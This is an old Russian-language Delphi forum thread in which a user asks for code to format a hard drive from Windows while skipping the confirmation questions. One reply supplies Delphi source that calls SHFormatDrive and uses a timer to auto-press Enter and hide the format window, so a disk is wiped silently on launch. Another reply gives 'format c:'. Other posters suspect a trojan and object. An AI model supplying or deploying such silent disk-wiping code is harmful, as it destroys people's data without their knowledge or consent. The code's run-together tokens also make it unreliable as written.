![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Как отформатировать винт (HDD) ? [D5, Win95/98, NT4]
viksoft © (2001-11-04 14:17:00)Подскажите как из под Windows отформатировать винт (HDD)?
Буду очень благодарен за исходники!
Dmitry-corp (2001-11-26 13:18:00) [1]//Народ! Пацан просит дать ему код форматирования винта а не обсуждать его вопрос. Кароче вот тебе код, интервал у таймера :=1.
var
Form1: TForm1;
constSHFMT_DRV_A=0;
constSHFMT_DRV_B=1;
constSHFMT_ID_DEFAULT=$FFFF;
constSHFMT_OPT_QUICKFORMAT=0;
constSHFMT_OPT_FULLFORMAT=1;
constSHFMT_OPT_SYSONLY=2;
constSHFMT_ERROR=-1;
constSHFMT_CANCEL=-2;
constSHFMT_NOFORMAT=-3;
functionSHFormatDrive(hWnd: HWND; Drive: Word; fmtID: Word; Options: Word): Longint
stdcall; external"Shell32.dll" name "SHFormatDrive";
implementation
{$R *.dfm}
procedureTForm1.Button1Click(Sender: TObject);
// varFmtRes: longint; begin
try
{FmtRes:=}
ShFormatDrive(Handle,SHFMT_DRV_A,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);
{ caseFmtRes of
SHFMT_ERROR: ShowMessage("Error formatting the drive");
SHFMT_CANCEL: ShowMessage("User canceled formatting the drive");
SHFMT_NOFORMAT: ShowMessage("No Format")
else
ShowMessage("Disk has been formatted");
end;} except
end;
end;
procedureTForm1.Timer1Timer(Sender: TObject);
begin
keybd_event(13,0,0,0);
ifShowWindow(FindWindow(nil,PChar("Форматирование Буква диска Латинской буквой:\")),SW_HIDE)=true thenTimer1.Enabled:= False;
end;
end.
//Диск начинает форматироваться Сразу после запуска (тот который ты укажешь в диалоге форматирования и в каптионе окна которое мы будем скрывать).
vasco (2001-11-26 05:51:00) [2]Пардон,
Троян:= Вирус;
vasco (2001-11-26 05:49:00) [3]>модератор
Как один из вариантов: В FineReader какой не помню версии при установке системы предлагалось сотворить ключевую дискету, для чего ее предварительно требовалось форматнуть. Не исключено, что у человека как раз в голове подобный вариант. Но:
1. Защищать программу ключевой дискетой уже считается анахронизмом. И FineReader ушел от этого.
2. На всякую хитрую ж... всегда ... ну, и т.д.
3. В любом случае хотя-бы одно предупреждение должно остаться, иначе это уже на троян похоже.
4. А может, это действительно троян?
Ant_bofh (2001-11-25 18:50:00) [4]Есть ещё версия, без вывода на экран и задания вопроса :-) ... пишите на мыльницу :-) так просто не скажу :-//
модератор (2001-11-15 16:25:00) [5]>viksoft
Подскажи цель твоих действий?
Dima-k17 (2001-11-15 16:10:00) [6]>All
Зачем давать такие функции, ведь человек явно не в благих целях хочет это использовать(Без обид, это факт).
>viksoft
Ну неужто, для вредительства нет других вариантов действия?
Anatoly Podgoretsky (2001-11-14 13:00:00) [7]Ну ты хакер или нет?
Надо ответить Y
viksoft (2001-11-14 11:21:00) [8]Для Anatoly Podgoretsky! Дело в том что при запуске программы Format она задает пользователю еще много лишних вопросов и спрашивает подтверждение на форматирование а мне это ни к чему.
PGM (2001-11-05 10:33:00) [9]function SHFormatDrive (Wnd: HWnd; Drive, Size, Options: Integer): Integer;
Anatoly Podgoretsky (2001-11-04 17:02:00) [10]Ну я думаю это ни к чему, если он твердо решил это делать, но наводящий вопрос он все равно получит.
Ну если есть сложность с командной строкой, то всегда можно нажать правую кнопку на диске и выбрать пункт "форматировать", так разве что совсем тупой не справится, по крайней мере мои начинающие пользователи делали это с успехом.
кто-то из толпы (2001-11-04 16:56:00) [11]To:Anatoly Podgoretsky ©
Ну зачем так сразу?
Может, лучше FORMAT /?
Глядишь, одумается
Anatoly Podgoretsky (2001-11-04 15:25:00) [12]format c: